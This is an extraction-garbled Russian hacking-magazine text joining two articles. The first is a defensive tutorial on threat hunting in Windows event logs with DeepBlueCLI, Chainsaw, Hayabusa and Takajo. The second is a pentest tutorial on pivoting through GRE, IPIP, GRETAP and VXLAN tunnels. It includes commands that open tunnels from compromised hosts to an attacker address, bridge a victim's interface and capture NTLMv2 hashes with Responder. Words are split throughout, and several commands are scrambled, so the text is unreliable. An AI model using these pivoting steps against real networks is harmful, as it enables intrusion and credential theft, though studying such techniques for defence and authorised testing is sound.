Нач нем, пожалуй, с самого прос того из выб ранных инс тру мен тов.
 — модуль PowerShell, раз работан ный Эри ком Кон радом

для поис ка угроз в жур налах событий Windows. В отли чие от дру гих инс тру- 
мен тов в этой статье, механизм обна руже ния здесь осно ван не на Sigma-
пра вилах, а на обыч ных про вер ках наличия тех или иных арте фак тов
и количес тве сра баты ваний для опре делен ных событий (нап ример, попыток
неус пешно го вхо да).

DeepBlueСLI

На осно ве этих дан ных мож но обна ружи вать, нап ример, подоз ритель ные
манипу ляции с учет ной записью (соз дание, добав ление в груп пы, password
spraying и про чее).

.\DeepBlue.ps1 .\evtx\password-spray.evtx 

Де тек тирова ние password spraying

Здесь замет но, что были попыт ки вой ти в 41 уни каль ную учет ную запись
с одним паролем. И заод но мы видим под робное опи сание резуль тата.

Еще можем гля нуть активность в коман дной стро ке и обо лоч ке PowerShell
(есть поиск обфусци рован ных скрипт бло ков, запус ков через PsExec и дру гие
воз можнос ти).

.\DeepBlue.ps1 .\evtx\psattack-security.evtx | Out-GridView 

Suspicious Command Line

Так же DeepBlue поз воля ет про водить аудит служб, то есть искать попыт ки
соз дания служб и дру гие подоз ритель ные события.

По лучен ные пос ле обра бот ки дан ные мож но вывес ти в раз ных удоб ных
фор матах для даль нейше го ана лиза: CSV, Out-GridView, Format-Table, HTML,
JSON, XML.

Кро ме того, ути лита поз воля ет про водить иссле дова ние на работа ющей
сис теме, без экспор та жур налов событий.

Сре ди дос тоинств DeepBlue — воз можность добав лять новые про вер ки
непос редс твен но в код сце нария на PowerShell. К при меру, мож но с лег- 
костью дописать детект password spraying в Active Directory
(события 4771 и 4768).

Но из недос татков я бы выделил отсутс твие воз можнос ти ука зать в качес- 
тве аргу мен та путь к дирек тории с жур налами. Это зна чит, что таким инс тру- 
мен том будет слож но поль зовать ся, если объ ем логов занима ет нес коль ко
гигабай тов. Зато сле дующая ути лита нам в этом поможет.

CHAINSAW

Chainsaw — инс тру мент для пер вично го реаги рова ния на инци ден ты и поис ка
арте фак тов в жур налах событий Windows, таб лицах Master File Table и System
Resource Utilization Monitor. Для авто мати зации поис ка угроз исполь зуют ся
Sigma-пра вила, но этим дело не огра ничи вает ся. Мож но искать отдель ные
сло ва, исполь зуя регуляр ные выраже ния, про чесы вать события при помощи
кас томных пра вил, исполь зовать кас томные пра вила для агре гации получен- 
ных записей о сра баты вании. Есть дру гие инте рес ные фичи, которые я покажу
даль ше.

Поп робу ем воз можнос ти на прак тике. Пред ставь, что в рам ках реаги рова- 
ния на инци дент нам отгру зили события в количес тве 333 штук (131 Мбайт).
Изу чать жур налы по отдель нос ти име ет смысл, толь ко если мы уже зна ем,
какой век тор ата ки и  она была совер шена. Это не наш слу чай. Сей час

необ ходимо взгля нуть на ситу ацию с высоты птичь его полета, поэто му вос- 
поль зуем ся ути литой  в режиме охо ты на подоз ритель ные
активнос ти.
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Chainsaw

Что бы вклю чить режим охо ты на угро зы, зададим аргу мент , ука жем

пра вила Sigma (флаг ) и каталог с пра вила ми (мож но исполь зовать
как дирек торию, так и ). Так же нуж но задать каталог
с дан ными об инци ден те (жур налы событий Windows) и путь к фай лу YAML
для мап пинга пра вил Sigma и событий (он нужен для сопос тавле ния полей
из сырых событий и Sigma-пра вил):

hunt
-s

ре пози торий на GitHub

.\chainsaw.exe hunt CyberPolygon_Forensic_Artifacts\winevt\Logs/ -
s ..\..\..\sigma\ --mapping ..\..\mappings\sigma-event-logs-all.yml 

Ви дим в кон соли PowerShell при ветс твие Chainsaw и сооб щение об успешной
заг рузке жур налов событий и Sigma-пра вил. Ути лита работа ет быс тро и выда- 
ет таб лицу с такими стол бца ми:

вре мен ная мет ка;•
ре зуль тат поис ка на осно ве пра вил Sigma;•
чис ло най ден ных событий (Count);•
Event.System.Provider;•
EID;•
Record ID;•
Computer;•
Event Data.•

Chainsaw, обна руже ние на осно ве Sigma

Са мое инте рес ное здесь — это детект на осно ве Sigma-пра вил.

Chainsaw, обна руже ние на осно ве Sigma

Нап ример, на рисун ке выше вид но вре мя, сра ботав шие пра вила детек та —
Sigma Rules для событий PowerShell с EID 4104, а так же путь, из которо го был
запущен сце нарий PowerShell, и его началь ное содер жимое.

Важ но пом нить, что аудит PowerShell (события 4103 и 4104) по умол чанию
отклю чен, рекомен дует ся его вклю чать. Как это сде лать, мож но почитать в 

.
до- 

кумен тации
В кон це таб лицы получим спи сок детек тов по Sigma-пра вилам и количес- 

тво про ана лизи рован ных жур налов (пус тые жур налы были отбро шены).

Chainsaw — резуль таты

Ес ли мы зна ем, что подоз ритель ная активность (судя по детек ту) была свя- 
зана со сце нари ями PowerShell, а имен но с событи ями с EID 4104, мы с лег- 
костью можем взгля нуть на сырые события и их скрипт бло ки, вос поль зовав- 
шись вот такой коман дой:

.\chainsaw.exe search -t 'Event.System.EventID: =4104' CyberPolygon_
Forensic_Artifacts\winevt\Logs/ 

По иск Event ID 4104

По ищем так же события с EID 4103:

.\chainsaw.exe search -t 'Event.System.EventID: =4103' CyberPolygon_
Forensic_Artifacts\winevt\Logs/ 

По луча ем три сов падения и узна ём, с какими аргу мен тами запус кались сце- 
нарии.

По иск Event ID 4103

А так же наб люда ем начало тела скрипт бло ка .tmpA7Z2.ps1
Кро ме поис ка по EID, мож но исполь зовать регуляр ные выраже ния. Давай

поп робу ем най ти все события, свя зан ные с запус ком най ден ного сце нария:

.\chainsaw.exe search -e 'tmpA7Z2.ps1' c56-CyberCorp\Downloads\
CyberPolygon_Forensic_Artifacts\winevt\Logs 

По иск по клю чево му сло ву

Ви дим пер вое событие, свя зан ное с запус ком .tmpA7Z2.ps1
Да вай пос мотрим на весь сце нарий, для это го слу жит флаг .

Для удобс тва работы выведем содер жимое в фор мате CSV.

--full

.\chainsaw.exe hunt CyberPolygon_Forensic_Artifacts\winevt\Logs/ -
s ..\..\..\sigma\ --mapping ..\..\mappings\sigma-event-logs-all.yml 
--full --csv -o c56-CyberCorp.csv 

По лучен ный файл откры ваем в .Timeline Explorer

Текст скрипт бло ка PS в Timeline Explorer

Здесь видим информа цию о запус ке сце нария, а так же текст скрипт бло ков.
Еще одна фича Chainsaw — воз можность исполь зовать кас томные пра- 

вила для агре гации и груп пиров ки най ден ных арте фак тов. С ути литой
в наборе уже идут некото рые кас томные пра вила (ищи их в катало ге ):
поиск сра баты ваний анти вирус ного ПО (Kaspersky, MS Defender, Sophos
и про чие), хакер ских тех ник вро де lateral movement, затира ния и иска жения
событий и дру гие.

rules

Что бы вос поль зовать ся эти ми пра вила ми, при меним допол нитель ный
флаг  и ука жем дирек торию с пра вила ми :-r /rules

chainsaw.exe hunt -r rules/ Lateral Movement/ -s sigma/rules --
mapping mappings/sigma-event-logs-all.yml 

Пос ле обра бот ки событий получа ем отдель ную таб лицу с событи ями, сви- 
детель ству ющи ми о горизон таль ном переме щении (или подоз рени ях
на него).

Со бытия уда лен ного вхо да, под пада ющие под пра вила Lateral Movement

Так же получи ли таб лицу с событи ями, свя зан ными с очис ткой жур нала
Security.

Очис тка жур нала событий Security

Да лее видим обна руже ния исклю читель но по общим Sigma-пра вилам, где
в том чис ле наш лась служ ба Cobalt Srike Beacon.

Об наруже ние сер виса Cobalt Strike

На этом воз можнос ти Chainsaw не закан чива ются. Еще мож но работать
с Master File Table (MFT), System Resource Utilization Monitor (SRUM), выводить
тай млай ны событий, а пос ле их визу али зиро вать. Но эти фун кции я пред- 
лагаю тебе изу чить самос тоятель но. А мы тем вре менем поз накомим ся с нас- 
тоящим ком бай ном для обра бот ки боль шого количес тва событий — от десят- 
ков до сотен гигабайт.

YAMATO SECURITY TOOLS

Пра виль но и  нас тро енная полити ка ауди та поз воля ет получить

мно го полез ной информа ции, сок ратить вре мя реаги рова ния на инци дент
и вре мя рас сле дова ния. О том, какие события необ ходимо собирать и какой
аудит вклю чить, мож но про читать, нап ример, в .
Там же ты най дешь  для акти вации политик ауди та.
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ре пози тории Yamato Security
bat-файл

Продолжение статьи →

https://t.me/RussianF0rensics
https://f001.backblazeb2.com/file/EricZimmermanTools/net6/EvtxECmd.zip
https://f001.backblazeb2.com/file/EricZimmermanTools/net6/TimelineExplorer.zip
https://github.com/sans-blue-team/DeepBlueCLI
https://github.com/WithSecureLabs/chainsaw
https://github.com/Yamato-Security/
https://github.com/Yamato-Security/hayabusa
https://github.com/Yamato-Security/takajo
https://github.com/sans-blue-team/DeepBlueCLI
https://github.com/SigmaHQ/sigma
https://learn.microsoft.com/ru-ru/troubleshoot/azure/virtual-machines/debug-customscriptextension-runcommand-scripts
https://f001.backblazeb2.com/file/EricZimmermanTools/net6/TimelineExplorer.zip
https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/main/ConfiguringSecurityLogAuditPolicies.md
https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/main/YamatoSecurityConfigureWinEventLogs.bat


ПРАКТИКУЕМСЯ В THREAT HUNTING

ВЗЛОМ  НАЧАЛО СТАТЬИ←

HAYABUSA

Hayabusa — ути лита для быс трой генера ции тай млай нов и поис ка угроз
в событи ях.

Еще Hayabusa уме ет опре делять геопо зицию по IP, для это го добавь флаг
 ( ), но преж де необ ходимо соз дать акка унт сер виса . Такая

воз можность осо бен но полез на при опре деле нии нес тандар тных под клю- 
чений. Ути лита так же спо соб на ана лизи ровать сис тему в live-режиме.

-G --GeoIP MaxMind

Как и Chainsaw, Hayabusa исполь зует Sigma-пра вила (с ней идет
более 3500 пра вил), а так же исполь зует для детек тирова ния собс твен ные
пра вила, написан ные в виде YAML. Это поч ти то же самое, что и Sigma-пра- 
вила, но с доработ ками, которые не под держи вают ся Sigma. Как писать свои
пра вила, под робно опи сано в .до кумен тации

Еще один плюс ути литы — вывод обра ботан ных событий в фор мате,
который прек расно понима ет ути лита визу али зации  (о том, что
это за ути лита и как ее раз вернуть, мож но почитать на 
или в статье « »).

Timesketch
сай те раз работ чика

Ис поль зуем Timesketch для работы с тай млай нами Plaso
Что бы получить такой вывод, исполь зуй флаг , зада ющий фор- 

мат вывода вре мен ных меток, а так же ука жи про филь (
) и вывод вре мени в фор мате UTC (флаг ):

--RFC-3339
-p timesketch-

verbose -U

.\hayabusa-2.9.0-win-x64.exe csv-timeline -d E:\CyberDefenders\c56-
CyberCorp\Downloads\CyberPolygon_Forensic_Artifacts\winevt\Logs --
RFC-3339 -o timesketch-import_c56.csv -p timesketch-verbose -U -C -F 

Ре зуль тат работы Hayabusa

На выходе, кро ме сра ботав ших кас томных пра вил (Rule Authors), получа ем
име на компь юте ров и оцен ку кри тич ности событий.

Ес ли событий мно го, их мож но раз делить
по компь юте рам и уров ню кри тич ности событий,
а так же тегам (теги здесь — так тики по MITRE
в духе , нап ример

). Таким обра зом работу
лег ко рас пре делить меж ду чле нами коман ды
реаги рова ния.

attack.<tech_name>
attack.persistence

Ин форма ция о сра баты вани ях агре гиру ется в таб лицу с уров нями кри тич- 
ности и видом детек та, по которо му удоб но искать в Timesketch.

Об щая таб лица пра вил обна руже ний и кри тич ности алер тов

Заг рузим получив ший ся отчет в Timesketch. Здесь мож но искать по тех никам
и при менен ным ути литам, к при меру поп робу ем най ти «PsExec Lateral
Movement» (наиме нова ние было взя то из таб лицы пос ле обра бот ки событий
в Hayabusa).

По иск по тех нике PsExec Lateral Movement в Timesketch

Вид но тай млайн для событий и сами события. Заг лянем внутрь любого из них
и уви дим ском про мети рован ный хост, EID, MitreTags и MitreTactics — что очень
удоб но, к тому же по всем полям мож но искать в Timesketch.

Что бы сок ратить вре мя поис ка вре донос ной активнос ти в боль шом количес- 
тве событий, мож но вос поль зовать ся фла гами , 

, . Флаг 

поменя ет поля дуб лиру ющих ся событий на . При этом они будут учи- 
тывать ся, но в вывод не попадут.

--proven-rules --EID-
filter --enable-unsupported-rules --remove-duplicate-data

DUP

Да вай выведем в кон соли тай млайн с час тотой детек та, исполь зуя
перечис ленные фла ги:

.\hayabusa-2.9.0-win-x64.exe csv-timeline -d Y:\Ransomware31012023\
KapeEvidences\C\Windows\System32\winevt\logs --proven-rules --EID-
filter --enable-unsupported-rules --visualize-timeline --remove-
duplicate-data 

Пос тро ение Timeline обна руже ний в кон соли

Под павшие под пра вила события окра шива ются в раз ные цве та из таб лицы
Results, а их детали мож но най ти над гра фиком.

Мар киров ка обна руже ний по уров ням кри тич ности (high и critical)

С таким инс тру мен том ско рость обра бот ки событий уве личи вает ся в разы,
но не сто ит забывать, что выход ные дан ные дают лишь пер воначаль ную кар- 
тину слу чив шегося и механизм может не обна ружи вать некото рые события,
оставляя им уро вень low.

Про пущен ные обна руже ния (помече но как low)

По это му на осно ве общих пра вил необ ходимо писать свои пра вила детек- 
тирова ния и перехо дить к более тща тель ному ана лизу, сужая вре мен ную зону
поис ка. Для это го исполь зуй фла ги , , 

.

--timeline-start --timeline-end --
timeline-offset

Да вай сде лаем это и оста вим толь ко детек ты уров ня critical:

.\hayabusa-2.9.0-win-x64.exe csv-timeline -d Y:\Ransomware31012023\
KapeEvidences\C\Windows\System32\winevt\logs --proven-rules --EID-
filter --enable-unsupported-rules --visualize-timeline --remove-
duplicate-data --timeline-start "2023-02-08 00:00:00 +03:00" --
timeline-end "2023-02-08 16:58:51 +03:00" -m critical 

Ути лита отра бота ла в разы быс трее (на малом объ еме событий будет
не слиш ком замет но) и выдала час тотный гра фик за ука зан ный про межу ток
вре мени, а из событий оста лись толь ко те, что помече ны как кри тич ные.

Сок ращение зоны поис ка

Для сужения области поис ка мож но исполь зовать и дру гие фла ги, нап ример
исклю чить хос ты или оста вить толь ко один целевой хост (для это го есть фла ги

 и ). То же самое мож но про делы- 

вать и с событи ями по их Event ID.

--include-computer --exclude-computer

Еще один хороший при ем при поис ке арте фак тов в событи ях — исполь- 
зовать . На выходе получим спи сок уни каль ных дан ных

для детек тирова ния подоз ритель ной активнос ти. Поля, которые будут извле- 
кать ся при поис ке, мож но най ти по такому пути:

pivot-keywords-list

Hayabusa_dir\rules\config\pivot_keywords.txt 

Сре ди полей при нас трой ках по умол чанию будут име на поль зовате лей, хос- 
тов, IP-адре са, про цес сы (LOLBINS и так далее) и дру гие арте фак ты:

.\hayabusa-2.9.0-win-x64.exe pivot-keywords-list -d Y:\
Ransomware31012023\KapeEvidences\C\Windows\System32\winevt\logs 

По иск с исполь зовани ем pivot-keywords-list

На рисун ке выше выведен спи сок про цес сов, которые запус кались на хос те.
Еще одна фиш ка Hayabusa — это наличие интегра ции с , что

поз воля ет собирать и сра зу ана лизи ровать арте фак ты.
Velociraptor

Так же есть воз можность работать не толь ко с фай лами с рас ширени ем
.evtx, но и с фай лами в фор мате JSON и JSONL. Что бы най ти дру гие инте рес- 
ные воз можнос ти Hayabusa, рекомен дую заг лянуть в ее богатую докумен- 
тацию. Мы же перей дем к сле дующе му инс тру мен ту, соз данно му в Yamato
Security.

TAKAJO

Преж де чем исполь зовать , нуж но под готовить тай млай ны при помощи
Hayabusa:

Takajo

.\hayabusa-2.9.0-win-x64.exe json-timeline -d KapeEvidences\C\
Windows\System32\winevt\logs -L -o ramsomware_timeline.jsonl 

Те перь мож но ана лизи ровать события вхо да в Takajo:

./takajo.exe timeline-logon -t .\ramsomware_timeline.jsonl -o 
ransomware_logon.csv 

Ана лиз событий вхо да с помощью Takajo

За бира ем все IP-адре са из обра ботан ных Hayabusa дан ных:

./takajo.exe list-ip-addresses -t ..\hayabusa-2.9.0-win-64-bit\
cybercorp.jsonl -o cybercorp_ipaddr.txt 

Из вле чение пуб личных IP-адре сов из событий

По умол чанию берут ся толь ко пуб личные IP-адре са, для вклю чения при ват ных
нуж но исполь зовать флаг .-p

По том мож но будет про верить эти IP на VirusTotal:

./takajo.exe vt-ip-lookup -a <YOUR_API_KEY> -I .\cybercorp_ipaddr.
txt -o vt-ip-lookup.csv -r 1000 -j vt-ip-lookup.json 

Ав томати зиро ван ная про вер ка извле чен ных IP на VirusTotal

То же мож но сде лать и с дру гими инди като рами ком про мета ции: домена ми
и хеш-сум мами исполня емых фай лов (если событие было получе но
от Sysmon).

Takajo уме ет выводить тай млай ны подоз ритель ных про цес сов (timeline-
suspicious-processes) и стро ить дерево про цес сов на осно ве событий Sysmon
(необ ходимо ука зать ).processGuid

ÂÛÂÎÄÛ

Опи сан ные в статье ути литы при уме лом исполь зовании поз воля ют сущес- 
твен но сок ратить вре мя, нуж ное на реаги рова ние и поиск угроз. Одна ко
нель зя полагать ся толь ко на инс тру мен тарий и забывать, что тех ники ата- 
кующих пос тоян но совер шенс тву ются, поэто му для успешно го рас сле дова- 
ния пра вила обна руже ния тоже нуж но улуч шать. В иде але спе циалист
по реаги рова нию дол жен уметь сам готовить и дораба тывать такие пра вила,
а так же быть в кур се новей ших тех ник и инс тру мен тов, которые при меня ются
ата кующи ми.

https://www.maxmind.com/
https://github.com/Yamato-Security/hayabusa
https://timesketch.org/
https://timesketch.org/
https://xakep.ru/2021/09/23/plaso-timesketch/
https://docs.velociraptor.app/exchange/artifacts/pages/windows.eventlogs.hayabusa/
https://github.com/Yamato-Security/takajo
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ВЗЛОМ

В сов ремен ном сте ке про токо лов TCP/IP
есть мно жес тво про токо лов тун нелиро- 
вания. Обыч но они исполь зуют ся для рас- 
ширения сетей про дак шена, пос тро ения
инфраструк туры. Но в моем иссле дова нии я
буду исполь зовать их как пен тестер ский
инс тру мент.

Pivoting — это ком плекс мероп риятий, в рам ках которо го ата кующий эска- 
лиру ет свое при сутс твие в сети. Пивотинг — это часть пос тэкс плу ата ции, то
есть дей ствий пос ле получе ния пер вично го дос тупа к сис теме. Сущес тву ет
мно жес тво спо собов пивотин га, но в моем ресер че речь пой дет имен но
о про токо лах тун нелиро вания, то есть сце нарии, где ата кующий прод вига ется
по сети с помощью тех нологий тун нелиро вания. В этой статье я про демонс- 
три рую пивотинг на уров нях L2 и L3.

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Все эти методи ки ско рее экзо тичес кие, одна ко я покажу, в каких слу чаях их
мож но исполь зовать в сетях про дак шена. Учти, что эти тех ники тре буют имен- 
но прав адми нис тра тора на ском про мети рован ных машинах, так как без это- 
го не получит ся нап рямую вза имо дей ство вать с сетевы ми интерфей сами
и нас трой ками тун нелей.

TUN VS TAP

Для тун нель ного пивотин га исполь зуют ся спе циаль ные вир туаль ные сетевые
драй веры. Раз лича ют два вида VPN-интерфей сов:

TUN — вир туаль ный сетевой драй вер, который исполь зует ся для пос тро- 
ения L3-тун нелей. Работа ет на сетевом уров не, опе рируя IP-пакета ми;

•

TAP — вир туаль ный сетевой драй вер, который эму лиру ет Ethernet. Работа- 
ет на каналь ном уров не, опе рируя Ethernet-кад рами.

•

Ес ли ата кующий стре мит ся переме щать ся по под сетям во вре мя пивотин га,
ско рее все го, он будет исполь зовать драй вер TUN, одна ко, если ата кующий
нуж дает ся в про веде нии атак каналь ного уров ня, ему необ ходим имен но TAP-
интерфейс, имен но L2-тун нель. Пен тестер может спро сить: «А почему у меня
не работа ет Responder? Тун нель же есть». Но на прак тике не все так прос то,
и необ ходимо учи тывать свои пот ребнос ти в пла не про веде ния атак. Оба
этих драй вера будут учас тво вать здесь на про тяже нии всей статьи.

ÎÑÒÎÐÎÆÍÎÑÒÜ ÏÐÈ ÀÄÐÅÑÀÖÈÈ ÍÀ TAP-ÈÍÒÅÐÔÅÉÑÅ

При работе с целевой сетью через TAP будь осто рожен с получе нием адре са
на TAP-интерфейс с помощью DHCP. По DHCP может при лететь новая
информа ция о шлю зе по умол чанию, что иног да при водит к раз рыву сетевой
связ ности. Как толь ко ты запус тишь dhclient, вто рой коман дой уда ляй новый
мар шрут по умол чанию:

 tap0  sudo dhclient -v ; sudo route del default 

GRE (L3)

GRE (Generic Routing Encapsulation) — одно из самых популяр ных решений
при пос тро ении тун нелей site-to-site меж ду орга низа циями. Это самос- 
тоятель ный про токол, име ющий собс твен ный заголо вок и не опи рающий ся
на TCP/UDP. Раз работан инже нера ми Cisco, но под держи вает ся все ми вен- 
дорами. Его глав ный прин цип работы — это инкапсу ляция полез ной наг рузки,
поз воля ющая дос тичь адре сата. В осно ве его работы лежит три сущ ности:

GRE-заголо вок — содер жит раз ные парамет ры и иден тифика тор инкапсу- 
лиру емо го про токо ла;

•

Delivery-заголо вок — содер жит адре са источни ка и наз начения, при этом
исполь зуют ся пуб личные адре са из интерне та (сог ласно кон фигура ции
на пог ранич ных мар шру тиза торах), по фак ту выпол няет фун кцию дос тавки
дан ных;

•

пас сажир — непос редс твен но сами дан ные.•

GRE мож но исполь зовать как инс тру мент пивотин га, поз воля ющий ата кающе- 
му получить дос туп к под сети на уров не L3. Целевы ми устрой ства ми могут
быть:

пог ранич ный мар шру тиза тор (нап ример, Cisco IOS или RouterOS);•
взло ман ный сер вер на Linux.•

Я покажу при мер имен но с пог ранич ным роуте ром Cisco, хотя сама кон- 
цепция нас трой ки GRE гло баль но не меня ется. Дизайн лабора тор ной сети
для демонс тра ции тех ник — на диаг рамме ниже.

Ла бора тор ная сеть

Это прос той при мер для демонс тра ции. Ата кующий и пог ранич ный роутер
здесь име ют белые адре са, а за самим роуте ром находят ся три VLAN-сег- 
мента:

10.10.200.0/24;•
10.10.220.0/24;•
10.10.240.0/24.•

В этом сце нарии ата кующий пос тро ит GRE-тун нель меж ду собой и пог ранич- 
ным роуте ром, а затем сквозь сам роутер поверх GRE-тун неля смо жет вза- 
имо дей ство вать с тре мя сег мента ми и рас ширить свое при сутс твие в сети.

Нас трой ка на сто роне ата кующе го (я выб рал Kali Linux) выг лядит сле- 
дующим обра зом:

ip gre sudo link add name gretunnel type local 218.123.134.80 remote 
128.78.23.45 
sudo ip addr add 10.10.10.1/24 dev gretunnel 

ip sudo link set dev gretunnel up 

Об рати вни мание на адре сацию 10.10.10.0/24. Это внут ренняя адре сация
в GRE-тун неле, нуж ная для его кор рек тной работы.

Те перь нас тра иваем пог ранич ный роутер Cisco:

NightmareBorder# conf t 
NightmareBorder(config)# interface tunnel 10
NightmareBorder(config-if)# tunnel source 128.78.23.45
NightmareBorder(config-if)# tunnel destination 218.123.134.80
NightmareBorder(config-if)# ip address 10.10.10.2 255.255.255.0
NightmareBorder(config-if)# no shutdown
NightmareBorder(config-if)# end
NightmareBorder# write mem 

Ра ботос пособ ность GRE-тун неля, пинг в сто рону Cisco IOS

GRE-тун нель акти вен, теперь самое вре мя про писать мар шру ты до целевых
сег ментов. Ата кующий, ока зав шись на пог ранич ном роуте ре (сце нарий пос- 
тэкс плу ата ции), может сам изу чить таб лицу мар шру тиза ции и узнать, до каких
сег ментов ему писать мар шру ты. В лабора тор ной сети этих сег ментов три:

sudo route add -net 10.10.200.0 netmask 255.255.255.0 gw 10.10.10.2 
sudo route add -net 10.10.220.0 netmask 255.255.255.0 gw 10.10.10.2 
sudo route add -net 10.10.240.0 netmask 255.255.255.0 gw 10.10.10.2 

Шлю зом для этих под сетей выс тупа ет уда лен ная сто рона GRE-тун неля
(10.10.10.2), то есть мы таким обра зом про писы ваем мар шру ты сквозь пог- 
ранич ный роутер, как и пред полага лось в сце нарии. Пос ле нас трой ки мар- 
шру тов ата кующий может вза имо дей ство вать с эти ми сег мента ми и раз- 
вивать новые век торы атак.

Про цесс TCP-ска ниро вания внут ри тун неля GRE

Как мы видим, TCP-сег менты дос тига ют целевой сети 10.10.200.0/24,
на скрин шоте ты так же можешь заметить заголо вок GRE, бла года ря которо му
и работа ет пивотинг.

IPIP (L3)

IPIP (IP in IP) — тун нель сетево го уров ня L3, он очень похож на про токол GRE,
но сама инкапсу ляция про исхо дит во вто рой IP-заголо вок. Такой тун нель
прост в экс плу ата ции и работа ет в режиме «IP over IP». С помощью IPIP ата- 
кующий так же может пос тро ить L3-тун нель сквозь взло ман ный хост. В сце- 
нарии с IPIP целью будет взло ман ный сер вер на Debian. Пред положим, что
на той же машине есть вто рой интерфейс с адре саци ей 192.168.252.0/24
(Warehouse).

Схе ма сети

Нас трой ка ата кующей машины для IPIP выг лядит сле дующим обра зом, здесь
ничего экс тра орди нар ного:

ip ipip sudo link add name ipiptunnel type local 218.123.134.80 
remote 128.78.23.45 
sudo ip addr add 10.10.10.1/24 dev ipiptunnel 

ip sudo link set dev ipiptunnel up 

На взло ман ном сер вере с Debian нас трой ка такая же, но наобо рот:

ip ipip sudo link add name ipiptunnel type local 128.78.23.45 remote 
218.123.134.80 
sudo ip addr add 10.10.10.2/24 dev ipiptunnel 

ip sudo link set dev ipiptunnel up 

Те перь IPIP-тун нель меж ду ата кующим и взло ман ным сер вером ста новит ся
активным и ата кующий смо жет раз вивать ата ки на сеть 192.168.252.0/24
(Warehouse):

sudo route add -net 192.168.252.0 netmask 255.255.255.0 gw 10.10.10.2 

TCP-ска ниро вание внут ри IPIP-тун неля

Как вид но на скрин шоте, полез ная наг рузка при TCP-ска ниро вании
при помощи Nmap была инкапсу лиро вана в IP-заголо вок, что доказы вает
харак терис тику про токо ла IPIP (IP over IP).

Продолжение статьи →

https://t.me/wearecaster


ИСПОЛЬЗУЕМ ПРОВАЙДЕРСКИЕ
ПРОТОКОЛЫ ДЛЯ ПИВОТИНГА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

GRETAP (L2)

GRETAP — это TAP-интерфейс, который работа ет в режиме GRE. На самом
деле про токол GRE может тран спор тировать не толь ко IP-тра фик, но и
Ethernet-кад ры. В таком слу чае зна чение Protocol Type будет рав но .

Так что сей час речь идет о L2-тун нелиро вании. L2-тун нели поз воля ют зло- 
умыш ленни ку про водить ата ки каналь ного уров ня, исполь зовать ,

 и про чие средс тва. В нашем сце нарии ата кующий уже получил дос туп
к некой машине на Debian, имен но с нее он будет стро ить L2-тун нель
с помощью GRETAP-интерфей сов.

0x6558

Responder
mitm6

Этот век тор тун нелиро вания будет раз вивать ся из ранее соз данно го сце- 
нария с GRE-тун нелем, то есть воз ника ет тун нель в тун неле. Потен циаль но же
такая ата ка может про исхо дить из любой точ ки инфраструк туры, как раз бла- 
года ря GRE-инкапсу ляции, которая будет тран спор тировать всю полез ную
наг рузку. Сама ситу ация «тун нель в тун неле» быва ет не всег да, это прос то
при мер из головы.

Схе ма сети с GRETAP

С нас трой ками здесь будет пос ложнее по срав нению с L3-тун нелями. В дело
всту пают bridge (брид жи/мос ты). Это спе циаль ные логичес кие устрой ства,
куда помеща ются физичес кие интерфей сы. Что бы обес печить себя L2-дос- 
тупом, ата кующий дол жен соз дать мост на взло ман ной машине, а так же
помес тить туда ее физичес кий интерфейс и вир туаль ный TAP-интерфейс,
при чем необ ходимо соб людать порядок команд и исполнить их как одну
с помощью точ ки с запятой. Кон фигура ции L2-тун нелей не про щают оши бок:
если ты где-то напутал, есть риск потерять дос туп к ском про мети рован ной
машине, а это очень боль шой удар для пен тесте ра.

Нач нем с нас тро ек на сто роне ата кующе го. GRETAP-тун нель меж- 
ду 10.10.10.1 (Kali) и 10.10.220.3 (целевая машина Debian с рутовым дос- 
тупом):

ip sudo link add name thegretap type gretap local 10.10.10.1 remote 
10.10.220.3 

ip sudo link set dev thegretap up 

На сто роне взло ман ной машины нас трой ка про исхо дит в нес коль ко эта пов:
соз дание GRETAP-интерфей са и его акти вация;•
соз дание брид жа;•
до бав ление в бридж GRETAP-интерфей са;•
уда ление сущес тву юще го адре са с интерфей са и его переме щение
на bridge (это дела ют, что бы не потерять сетевую связ ность, так как пос ле
добав ления интерфей са в бридж сам интерфейс под чиня ется брид жу,
и по-хороше му бы сто ит наз начить адрес на сам бридж);

•

до бав ление физичес кого интерфей са ОС в бридж;•
ак тивация работы брид жа;•
наз начение адре са шлю за по умол чанию (ког да мы уда ляли адрес
из интерфей са — исче зал и мар шрут по умол чанию).

•

ip sudo link add name thegretap type gretap local 10.10.220.3 remote 
10.10.10.1 

ip sudo link set dev thegretap up 

sudo brctl addbr bridge 
sudo brctl addir bridge thegretap 

 
  ip 

 

sudo ip addr del 10.10.220.3/24 dev eth0; sudo ip addr add 10.10.220.
3/24 dev bridge; sudo brctl addif bridge eth0; sudo link set dev 
bridge up; sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.220.
254 

Те перь на GRETAP-интерфей се ата кующе го пошел движ. Мы видим здесь
при сутс твие про токо ла STP — это уже доказы вает, что мы обес печили себя
имен но L2-тун нелем, так как STP — про токол каналь ного уров ня.

Тра фик на GRETAP-интерфей се

Те перь необ ходимо получить адрес на GRETAP-интерфейс из прос транс- 
тва 10.10.220.0/24.

 tap0  sudo dhclient -v ; sudo route del default 

Ус пешно получен ный адрес на TAP-интерфей се

На этом нас трой ка GRETAP под ходит к кон цу, ата кующий теперь может поз- 
волить себе ата ки каналь ного уров ня.

sudo responder -I thegretap 

Пе рех вачен ный NTLMv2-SSP по GRETAP-тун нелю

Та ким обра зом мож но про вес ти L2-пивотинг с помощью GRETAP-интерфей- 
сов.

VXLAN (L2)

VXLAN (Virtual EXtensible LAN) — сетевой про токол, поз воля ющий стро ить L2-
тун нели поверх UDP (UDP/4789). VXLAN-пивотинг тоже может раз вивать ся
из любой точ ки инфраструк туры, но я пов торю ситу ацию «тун нель в тун неле»,
где ата кующий попал внутрь сети с помощью GRE. Опять же не зацик ливай ся
на этом, это прос то мой при мер. Мне было удоб нее собирать для тебя прак- 
тичес кий ману ал, находясь в той же лабора тор ной сети в EVE-NG.

Ма шина ата кующе го и ском про мети рован ная машина будут VTEP’ами.
VTEP (Virtual Tunnel Endpoint) — устрой ства, на которых стро ится и тер миниру- 
ется тун нель VXLAN, они занима ются инкапсу ляци ей и деин капсу ляци ей
VXLAN-заголов ков.

